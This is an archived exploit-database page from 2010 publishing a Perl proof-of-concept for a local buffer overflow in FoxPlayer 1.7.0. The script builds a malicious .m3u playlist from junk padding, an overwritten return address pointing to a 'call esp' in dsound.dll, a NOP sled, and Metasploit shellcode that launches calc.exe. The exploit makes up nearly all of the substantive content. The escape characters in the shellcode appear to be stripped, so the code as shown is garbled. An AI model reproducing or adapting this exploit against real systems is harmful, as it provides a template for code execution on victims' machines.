SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

FoxPlayer 1.7.0 local buffer overflow


Arrow  WLB : WLB-2010020033  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-02-08
Arrow  Credit          : cr4wl3r
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : No
Arrow  Local     : Yes
Arrow  Status   : Bug

Arrow  History : [2010-02-08] Started

Arrow  Affected software :  FoxPlayer 1.7.0



Arrow  Text :  

#!/usr/bin/perl

print qq(
###########################################################
## FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit ##
## Credit : opt!x hacker http://milw0rm.com/exploits/9393##
## Author : cr4wl3r <cr4wl3r[!]linuxmail.org> ##
## Greetz : str0ke, opt!x hacker, xoron ##
## all member at manadocoding.net ##
## all member at indonesianhacker.org ##
###########################################################
);
my $junk = "x41" x 260;
my $eip = "x28x55x3Dx72"; # 0x723D5528 -- dsound.dll -- call esp
my $nopsled = "x90" x 19;
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub
http://metasploit.com/
my $shellcode =
"x31xc9x83xe9xddxd9xeexd9x74x24xf4x5bx81x73x13x34".
"x92x42x83x83xebxfcxe2xf4xc8x7ax06x83x34x92xc9xc6".
"x08x19x3ex86x4cx93xadx08x7bx8axc9xdcx14x93xa9xca".
"xbfxa6xc9x82xdaxa3x82x1ax98x16x82xf7x33x53x88x8e".
"x35x50xa9x77x0fxc6x66x87x41x77xc9xdcx10x93xa9xe5".
"xbfx9ex09x08x6bx8ex43x68xbfx8exc9x82xdfx1bx1exa7".
"x30x51x73x43x50x19x02xb3xb1x52x3ax8fxbfxd2x4ex08".
"x44x8exefx08x5cx9axa9x8axbfx12xf2x83x34x92xc9xeb".
"x08xcdx73x75x54xc4xcbx7bxb7x52x39xd3x5cx62xc8x87".
"x6bxfaxdax7dxbex9cx15x7cxd3xf1x23xefx57xbcx27xfb".
"x51x92x42x83";
##################################################################
open(myfile,'>> Traffic.m3u'); # Dj Tiesto :D
print myfile $junk.$eip.$shellcode.$nopsled;
##################################################################


Audyt bezpieczeństwa

Security Audit

Analiza powłamaniowa

Arrow  References :  

None

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.